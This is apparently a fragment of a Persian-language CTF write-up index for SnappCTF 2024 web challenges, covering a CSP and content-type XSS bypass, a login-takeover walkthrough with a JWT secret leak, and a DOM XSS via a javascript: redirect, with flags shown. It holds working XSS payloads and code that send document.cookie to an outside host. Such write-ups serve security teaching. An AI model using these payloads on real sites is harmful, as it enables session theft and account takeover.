\u0647\u0645\u0648\u0646 \u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u0633\u0631\u0648\u0631 \u0627\u0632 \u0645\u0627 \u062f\u0648\u062a\u0627 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 (ct, buf) \u0645\u06cc\u06af\u06cc\u0631\u0647 \u06a9\u0647 ct \u0647\u0645\u0648\u0646 content-type \u0647\u0633\u062a\u0634 \u0648 buf \u0645\u062d\u062a\u0648\u0627\u06cc\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0645\u0627 \u0628\u0631\u0645\u06cc\u06af\u0631\u062f\u0648\u0646\u0647

\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0645\u0627 \u062f\u06cc\u062a\u0627\u06cc\u06cc \u06a9\u0647 \u062f\u0627\u0631\u06cc\u0645 \u0631\u0648 \u0628\u0631\u06af\u0631\u062f\u0648\u0646\u0647 \u060c \u06cc\u06a9 \u0633\u0631\u06cc \u0648\u0644\u06cc\u062f\u06cc\u0634\u0646 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647 \u0645\u062b\u0644\u0627 \u0645\u0627 \u0646\u0645\u06cc\u062a\u0648\u0646\u0645 \u0627\u0632 content type (text/html, text/javascript) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0647\u0645\u06cc\u0646\u0637\u0648\u0631 \u062a\u0648\u06cc \u062f\u06cc\u062a\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 buf \u0628\u0647\u0634 \u0645\u06cc\u062f\u06cc\u0645 \u0647\u0645 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u062a\u06af \u0647\u0627\u06cc html \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645

\u0648\u0644\u06cc \u0628\u0639\u062f \u0627\u0632 \u0686\u0646\u062f \u062a\u0633\u062a \u0648 \u0628\u0631\u0631\u0633\u06cc \u0647\u0627\u06cc content type \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0631\u0648\u0634 \u06a9\u062f \u062c\u0627\u0648\u0627\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u0645 \u0628\u0627 \u0627\u06cc\u0646 \u0647\u0627 \u0645\u0648\u0627\u062c\u0647 \u0634\u062f\u0645:

text/html\napplication/xhtml+xml\napplication/xml\ntext/xml\nimage/svg+xml\ntext/xsl\n

\u0648 \u062a\u0646\u0647\u0627 content type \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645: text/xml, text/xsl \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0645\u0646 \u0627\u0632 text/xml \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0645

\u0648\u0644\u06cc \u06cc\u0647 \u0645\u0634\u06a9\u0644\u06cc \u0628\u0648\u062f \u060c \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0627 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u062a\u06af\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0631\u0641 \u0627\u0648\u0644\u0634 \u0628\u06cc\u0646 a-z | A-Z \u0628\u0627\u0634\u0647. \u0648\u0644\u06cc \u0628\u0639\u062f \u0627\u0632 \u0633\u0631\u0686 \u0632\u062f\u0646 \u062f\u0631\u0628\u0627\u0631\u0647 xml \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 _ (underline) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0627\u0633\u0645 \u062a\u06af

\u067e\u0633 payload \u0627\u0645 \u0634\u062f \u0627\u06cc\u0646:

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\">XSS</_:script>\n

\u0648\u0644\u06cc \u06cc\u0647 \u0645\u0634\u06a9\u0644\u06cc \u0628\u0648\u062f \u06a9\u0647 \u0627\u0635\u0644\u0627 \u062d\u0648\u0627\u0633\u0645 \u0628\u0647\u0634 \u0646\u0628\u0648\u062f \u0648 \u0627\u0648\u0646 \u0647\u0645 content-security-policy \u0628\u0648\u062f \u06a9\u0647 \u0646\u0645\u06cc\u0632\u0627\u0634\u062a \u0645\u0627 \u0627\u0632 unsafe-inline \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u062a\u0646\u0647\u0627 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0627\u06cc\u0646\u062c\u0627 \u0628\u06a9\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0628\u06cc\u0627\u06cc\u0645 \u06cc\u06a9 \u06a9\u062f \u062c\u0627\u0648\u0627\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0632 \u0647\u0645\u06cc\u0646 origin \u0644\u0648\u06cc\u062f \u06a9\u0646\u06cc\u0645

\u0648 \u062e\u0628 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0647\u0645 \u0645\u06cc\u0634\u062f \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0631\u06a9\u062a \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f:

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\" src=\"?buf=XSS\"></_:script>\n

\u0648\u0644\u06cc \u0628\u0627\u0632 \u0647\u0645 \u06cc\u06a9 \u0645\u0634\u06a9\u0644 \u0628\u0648\u062f \u06a9\u0647 \u0627\u0648\u0646 \u0647\u062f\u0631 X-Content-Type-Options \u0628\u0648\u062f. \u062a\u0648\u06cc \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u06cc\u0646 \u0647\u062f\u0631 \u062a\u0648 \u0633\u0627\u06cc\u062a MDN \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u06af\u0647 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a\u06cc \u06a9\u0647 \u0645\u0627 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u060c content type \u0627\u0634 \u0628\u0627 \u0645\u062d\u062a\u0648\u0627\u06cc\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631\u0647 \u0644\u0648\u06cc\u062f \u0628\u0634\u0647 \u0641\u0631\u0642 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0647 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0628\u0644\u0627\u06a9 \u0645\u06cc\u0634\u0647

\u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644 \u0641\u0631\u0636 \u06a9\u0646\u06cc\u0646 \u0645\u0627 content-type \u0631\u0648 \u0628\u0632\u0627\u0631\u06cc\u0645 text/css \u0648\u0644\u06cc \u0645\u062d\u062a\u0648\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0631\u0648\u0631\u06af\u0631 \u0644\u0648\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647 \u062c\u0627\u0648\u0627\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u0627\u0634\u0647 \u060c \u06a9\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0634\u0631\u0627\u06cc\u0637 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0645\u0627 \u0628\u0644\u0627\u0641\u0627\u0635\u0644\u0647 \u0628\u0644\u0627\u06a9 \u0645\u06cc\u0634\u0647

\u062e\u0628 \u0645\u0627 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 text/javascript \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0686\u0648\u0646 \u06a9\u0647 \u0642\u0628\u0644\u0634 \u0686\u06a9 \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 javascript \u062a\u0648\u06cc ct \u0646\u0628\u0627\u0634\u0647 \u0648\u0644\u06cc \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 application/ecmascript \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0627\u06cc\u0646\u0637\u0648\u0631\u06cc \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 x-content-type-options \u0631\u0648 \u062f\u0648\u0631 \u0628\u0632\u0646\u06cc\u0645 \u0648 XSS \u0628\u06af\u06cc\u0631\u06cc\u0645

\u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u067e\u06cc\u0644\u0648\u062f \u0645\u0627 \u0645\u06cc\u0634\u0647:

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\" src=\"?buf=XSS?ct=application/ecmascript\"></_:script>\n

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646

import requests\nimport base64\nimport sys\nimport html\n\nurl = 'https://b64.spchallenge.ir/'\n\nxss_pay = \"\"\"window.location='https://REDACTED?flag=' + document.cookie\"\"\"\npa = \"?buf=%s&ct=%s\" % (base64.b64encode(xss_pay.encode()).decode(), \"application/ecmascript\")\np = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\" src=\"%s\"></_:script>\"\"\" % html.escape(pa)\n\n\nbuffer, ct = base64.b64encode(p.encode()).decode(), \"text/xml\"\nd = requests.get(url, params={'buf':buffer, 'ct': ct})\nprint(d.url)\n

\u0628\u0647 \u062c\u0627\u06cc REDACTED \u0627\u0632 \u0622\u062f\u0631\u0633 \u0633\u0631\u0648\u0631 \u062e\u0648\u062f\u062a\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646 \u0648 \u0628\u0639\u062f \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0628\u0627\u0644\u0627 \u0628\u0647\u062a\u0648\u0646 \u06cc\u0647 \u0622\u062f\u0631\u0633 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u0648\u0646 \u0631\u0648 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0628\u062f\u06cc\u0646 \u0628\u0647 \u0628\u0627\u062a \u062a\u0627 \u0641\u0644\u06af \u0631\u0648 \u0628\u0631\u0627\u062a\u0648\u0646 \u0628\u0641\u0631\u0633\u062a\u0647

FLAG

SNAPP{9a952b93a0f0ad23304547c4de2025fb}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","XSS","CSP","Web","X-Content-Type-Options","Content-Type"]},{"location":"web/writeups/SnappCTF/snappcat/","title":"Snapp cat","text":"Snapp cat

","tags":["SnappCTF","SnappCTF-2024","Swagger","JWT","Web","sha256"]},{"location":"web/writeups/SnappCTF/snappcat/#_1","title":"\u0642\u062f\u0645 \u0647\u0627\u06cc \u062d\u0644 \u0686\u0627\u0644\u0634:","text":"
  1. \u062b\u0628\u062a \u0646\u0627\u0645 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0646\u062f\u0648\u0645
  2. \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u062f sha256 \u0628\u0631\u0627\u06cc \u0644\u0627\u06af\u06cc\u0646 \u06a9\u0631\u062f\u0646
  3. \u06a9\u0631\u06a9 \u06a9\u0631\u062f\u0646 \u06a9\u062f sha256 \u0628\u0631\u0627\u06cc \u0644\u0627\u06af\u06cc\u0646 \u0634\u062f\u0646
  4. \u062c\u0646\u0631\u06cc\u062a \u06a9\u0631\u062f\u0646 \u06a9\u062f \u0628\u0631\u0627\u06cc \u0648\u0631\u06cc\u0641\u0627\u06cc \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0645\u06cc\u0644
  5. \u06af\u0631\u0641\u062a\u0646 \u06a9\u062f \u0648\u0631\u06cc\u0641\u0627\u06cc \u0627\u06cc\u0645\u06cc\u0644 \u062f\u0631 \u06a9\u0648\u06a9\u06cc
  6. \u06af\u0631\u0641\u062a\u0646 \u0634\u0645\u0627\u0631\u0647 \u062a\u0644\u0641\u0646 \u0627\u062f\u0645\u06cc\u0646
  7. \u0641\u0631\u0627\u06cc\u062f \u0644\u0627\u06af\u06cc\u0646 \u0628\u0647 \u0648\u0633\u06cc\u0644\u0647 \u0634\u0645\u0627\u0631\u0647 \u062a\u0644\u0641\u0646 \u0627\u062f\u0645\u06cc\u0646
  8. \u0633\u0627\u062e\u062a\u0646 \u06cc\u0647 \u06af\u0631\u0628\u0647!
  9. \u062e\u0648\u0646\u062f\u0646 \u06a9\u062f js \u0633\u0631\u0648\u0631
  10. \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u062f \u0633\u06a9\u0631\u062a json-web-token \u0648 \u0633\u062a \u06a9\u0631\u062f\u0646 \u06a9\u0648\u06a9\u06cc \u0628\u0631\u0627\u06cc \u06af\u0631\u0641\u062a\u0646 \u0641\u0644\u06af

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u0646 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0622\u0645\u0627\u062f\u0647 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0632 \u0631\u0648\u06cc \u0627\u0648\u0646 \u0633\u0648\u0627\u0644 \u0631\u0648 \u062d\u0644 \u06a9\u0646\u06cc\u0646 \u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0646 \u06a9\u0647 \u0686\u0647 \u0627\u062a\u0641\u0627\u0642\u06cc \u0645\u06cc\u0648\u0641\u062a\u0647

\u0628\u0639\u062f \u0627\u0632 \u062f\u0627\u0646\u0644\u0648\u062f \u0641\u0627\u06cc\u0644 \u067e\u0627\u06cc\u062a\u0648\u0646:

$ python3 snappcat.py\n[+] registering with 2af8ba4edba03309: \n[+] response:  {'success': True}\n[+] logging in with 2af8ba4edba03309\n[+] resposne:  {'success': True}\n[+] login with phone: +987714270933\n[+] response: 200\n[+] crack the code for sha256:04dc6d4a58836dce23191b5025d392f911a58c61452c580f79c9ec53f86b1ee6\n[+] code cracked: 3189328\n[+] send code\n[+] login-with-phone-callback response:  {'sucess': True}\n[+] send verification email\n[+] response: 200\n[+] verify account\n[+] response: 200\n[+] login with phone: +133731333717\n[+] response: 200\n[+] crack the code for sha256:98fbf94b5485944c2325c846ec6234b6b7008c62dd2d17728b77ebef038ab5bd\n[+] code cracked: 7494977\n[+] send code\n[+] login-with-phone-callback response:  {'sucess': True}\n[+] whoami?:  {'data': {'userId': 1}, 'success': True}\n[+] create cat\n[+] cat created with id: 62fd96ac-d0fe-4632-b7be-d2e873471acc\n[+] display and get created cat\n----------------------------------------------------------------------------------------------------\nJWT SECRET: omidvaram-to-ke-ino-mibini-developer-website-bashi-fd29293cdeaf70dc67b420e73a37e172\n----------------------------------------------------------------------------------------------------\n[+] update jwt session\n[+] reading flag xd\nFLAG: SNAPP{7dc998269394314896af6378f15c2c12}\n
FLAG

SNAPP{7dc998269394314896af6378f15c2c12}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","Swagger","JWT","Web","sha256"]},{"location":"web/writeups/SnappCTF/snappfal/","title":"Snapp fal","text":"Snapp fal!

\u0647\u0645\u06cc\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u06cc\u0647 \u0686\u0627\u0644\u0634 XSS \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0633\u0639\u06cc \u06a9\u0646\u06cc\u0645 \u06a9\u0648\u06a9\u06cc \u0647\u0627\u06cc \u0627\u062f\u0645\u06cc\u0646 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u0645 \u0648 \u0628\u0631\u0627\u06cc \u062e\u0648\u062f\u0645\u0648\u0646 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645

\u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u0622\u062f\u0631\u0633 \u0648\u0628\u0633\u0627\u06cc\u062a \u0645\u0627 \u0628\u0627 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0631\u0648\u0628\u0631\u0648 \u0645\u06cc\u0634\u06cc\u0645

\u0627\u06af\u0647 \u0631\u0648\u06cc \u062f\u06a9\u0645\u0647 \u0646\u0634\u0648\u0646 \u0628\u062f\u0647 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u0646 \u0648\u0627\u0631\u062f \u06cc\u0647 \u0635\u0641\u062d\u0647 \u0645\u06cc\u0634\u06cc\u0646 \u06a9\u0647 \u0622\u062f\u0631\u0633\u0634 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0647\u0633\u062a\u0634:

\u200d\u200dhttps://snappfal.spchallenge.ir/fal?back=/&fal=some-random-text-here

\u06a9\u0647 \u062a\u0648\u06cc \u0627\u0648\u0646 \u0635\u0641\u062d\u0647 \u0628\u0647\u062a\u0648\u0646 \u0645\u062a\u0646 \u0641\u0627\u0644 \u0631\u0648 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u06a9\u0647 (\u0647\u0645\u0648\u0646 \u0686\u06cc\u0632\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u062a\u0648\u06cc \u067e\u0627\u0631\u0627\u0645\u062a\u0631 fal \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647) \u0648 \u0628\u0639\u062f \u0627\u0632 \u0686\u0646\u062f \u062b\u0627\u0646\u06cc\u0647 \u0628\u0647 \u0622\u062f\u0631\u0633\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u067e\u0627\u0631\u0627\u0645\u062a\u0631 back \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u0634\u06cc\u0645

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u0633\u0648\u0631\u0633 \u0686\u0627\u0644\u0634 \u0631\u0648 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0648\u0646 \u0631\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0646\u06cc\u0646 \u0648 \u0627\u06af\u0647 \u0628\u0647 \u0641\u0627\u06cc\u0644 src.js \u062f\u0642\u062a \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u0641\u0627\u0644 \u0647\u0627\u0631\u0648 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u0648 \u0686\u0637\u0648\u0631\u06cc \u0645\u0627\u0631\u0648 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0646\u0647

#!/usr/bin/env node\nconst express = require('express')\nconst fs = require('fs')\n\nconst app = express()\nconst indexPage = fs.readFileSync('./pages/index.html').toString()\nconst falPage = fs.readFileSync('./pages/fal.html').toString()\nconst randomFals = [\n    '%D8%AC%D9%84%D8%B3%D9%87%20%D8%A8%D8%B9%D8%AF%DB%8C%20%DA%A9%D9%84%D8%A7%D8%B3%D8%AA%20%DA%A9%D9%86%D8%B3%D9%84%20%D9%85%DB%8C%D8%B4%D9%87',\n    '%D9%81%D8%B1%D8%AF%D8%A7%20%D8%AA%D9%88%20%DB%8C%DA%A9%20%D8%AA%D8%B1%D8%A7%D9%81%DB%8C%DA%A9%20%D8%B3%D9%86%DA%AF%DB%8C%D9%86%20%DA%AF%DB%8C%D8%B1%20%D9%85%DB%8C%DA%A9%D9%86%DB%8C',\n    '%D8%AD%D9%82%D9%88%D9%82%D8%AA%20%D8%B3%D8%A7%D9%84%20%D8%AF%DB%8C%DA%AF%D9%87%20%D8%B3%D9%87%20%D8%A8%D8%B1%D8%A7%D8%A8%D8%B1%20%D9%85%DB%8C%D8%B4%D9%87'\n]\n\napp.get('/',(req,res)=>{\n    res.send(indexPage)\n})\n\napp.get('/random-fal',(req,res)=>{\n    res.redirect('/fal?back=/&fal='+randomFals[Math.floor(Math.random()*randomFals.length)],)\n})\n\napp.get('/fal',(req,res)=>{\n    let to = (req.query.back ?? '/').toString()\n    let fal = (req.query.fal || '').toString()\n\n    to = to.replaceAll('\"','\\\\x22').replaceAll('<','\\\\x3c')\n    fal = fal.replaceAll('\"','&quot;').replaceAll('<','&lt;')\n\n    res.send(fs.readFileSync('./pages/fal.html').toString().replace('$fal$',fal).replace('$URL$',to))\n})\n\napp.listen(8000, () => {\n    console.log('Server listening on port 3000')\n})\n

\u062a\u0648\u06cc \u0645\u0633\u06cc\u0631 /random-fal \u06cc\u06a9 \u0641\u0627\u0644 \u0631\u0646\u062f\u0648\u0645 \u0627\u0632 \u0622\u0631\u0627\u06cc\u0647 randomFals \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0647 \u0645\u0633\u06cc\u0631 /fal \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u0634\u06cc\u0645

\u0648 \u062a\u0648\u06cc \u0645\u0633\u06cc\u0631 /fal \u06cc\u0647 back, fal \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 back \u0622\u062f\u0631\u0633\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0628\u0647 \u0627\u0648\u0646 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u0634\u06cc\u0645 \u0648 fal \u0647\u0645 \u0645\u062a\u0646\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u062a\u0648 \u0635\u0641\u062d\u0647 \u0628\u0647\u0645\u0648\u0646 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u0648\u0644\u06cc \u0627\u06af\u0647 \u062f\u0642\u062a \u06a9\u0646\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631 fal escape \u0645\u06cc\u0634\u0647 \u0648 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0631\u0627\u06cc \u0627\u0648\u0646 xss \u0628\u0632\u0646\u06cc\u0645

\u062e\u0628 \u0628\u06cc\u0627\u06cc\u0646 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u0633\u0648\u0631\u0633 \u0635\u0641\u062d\u0647 \u0627\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u0634 \u0641\u0627\u0644 \u0647\u0627 \u0628\u0647 \u0645\u0627 \u0646\u0634\u0648\u0646 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647:

$  curl https://snappfal.spchallenge.ir/fal?back=ADDR_GOES_HERE&fal=FAL_GOES_HERE \n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<title>Snapp fal!</title>\n<link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n<link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n<link href=\"https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400&display=swap\" rel=\"stylesheet\">\n<style>\n    body {\n        background-color: white;\n    }\n\n    .cont {\n        display: flex;\n        justify-content: center;\n        align-items: center;\n        height: 100vh; \n    }\n\n    .card {\n        background-color: #f7f6f2;\n        padding: 60px 40px;\n        border-radius: 10px;\n        text-align: center;\n    }\n\n    button:hover {\n        background-color: #40a38b;\n    }\n\n    span {\n        color: #81766d;\n        font-family: 'vazirmatn', sans-serif; \n        font-size: 32px;\n        font-weight: bold;\n        display: block;\n    }\n</style>\n</head>\n<body>\n    <div class=\"cont\">\n        <div class=\"card\">\n            <span></span>\n        </div>\n    </div>\n    <script>\n        setTimeout(_=>{\n            document.location = \"ADDR_GOES_HERE\"  \n        },2000)\n    </script>\n</body>\n</html>\n

\u062e\u0628 \u0645\u062b\u0644\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u062f\u0631\u0633\u06cc \u06a9\u0647 \u0645\u0627 \u0628\u0647\u0634 \u0645\u06cc\u062f\u06cc\u0645 \u0645\u06cc\u0631\u0647 \u0645\u0633\u062a\u0642\u06cc\u0645 \u0645\u06cc\u0634\u06cc\u0646\u0647 \u062a\u0648\u06cc document.location \u060c \u067e\u0633 \u0627\u06af\u0647 \u0627\u0632 javascript scheme \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 XSS \u0628\u06af\u06cc\u0631\u06cc\u0645

\u0636\u0645\u0646 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0647\u0645 \u0628\u0647 \u0645\u0627 \u06cc\u0647 \u062c\u0648\u0631\u0627\u06cc\u06cc \u0647\u06cc\u0646\u062a \u062f\u0627\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u0631\u0648 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0647 \u062a\u0627 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647\u0634 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645

/fal?javascript:fetch(`https://REDACTED?flag${document.cookie}`)\n

\u0628\u0647 \u062c\u0627\u06cc REDACTED \u0622\u062f\u0631\u0633\u06cc \u0633\u0631\u0648\u0631 \u062e\u0648\u062f\u062a\u0648\u0646 \u0631\u0648 \u0628\u0632\u0627\u0631\u06cc\u0646 \u062a\u0627 \u0641\u0644\u06af \u0628\u0631\u0627\u062a\u0648\u0646 \u0627\u0631\u0633\u0627\u0644 \u0628\u0634\u0647 \u06cc\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0632 webhook.site \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646

\u062d\u0627\u0644\u0627 \u06a9\u0627\u0641\u06cc\u0647 \u06a9\u0647 \u0622\u062f\u0631\u0633 \u0631\u0648 \u0628\u062f\u06cc\u0645 \u0628\u0647 \u0627\u062f\u0631\u0633 \u0628\u0627\u062a \u06a9\u0647 \u0628\u0631\u0627\u0645\u0648\u0646 \u0641\u0644\u06af \u0631\u0648 \u0628\u0641\u0631\u0633\u062a\u0647 xd

final addr: https://snappfal.spchallenge.ir/fal?back=javascript:fetch(`https://REDACTED?flag${document.cookie}`)\n
FLAG

SNAPP{89d36f80b85bde916fbdeb8592c1b368}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","XSS","DOM-Based XSS","Web"]},{"location":"web/writeups/SnappCTF/welcome/","title":"Welcome","text":"Welcome

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627 \u06cc\u0647 \u0622\u062f\u0631\u0633 \u0648\u0628 \u062f\u0627\u062f\u0646

\u062e\u0628 \u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u0622\u062f\u0631\u0633 \u062a\u0648 \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0627 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0631\u0648\u0628\u0631\u0648 \u0645\u06cc\u0634\u0648\u06cc\u0645

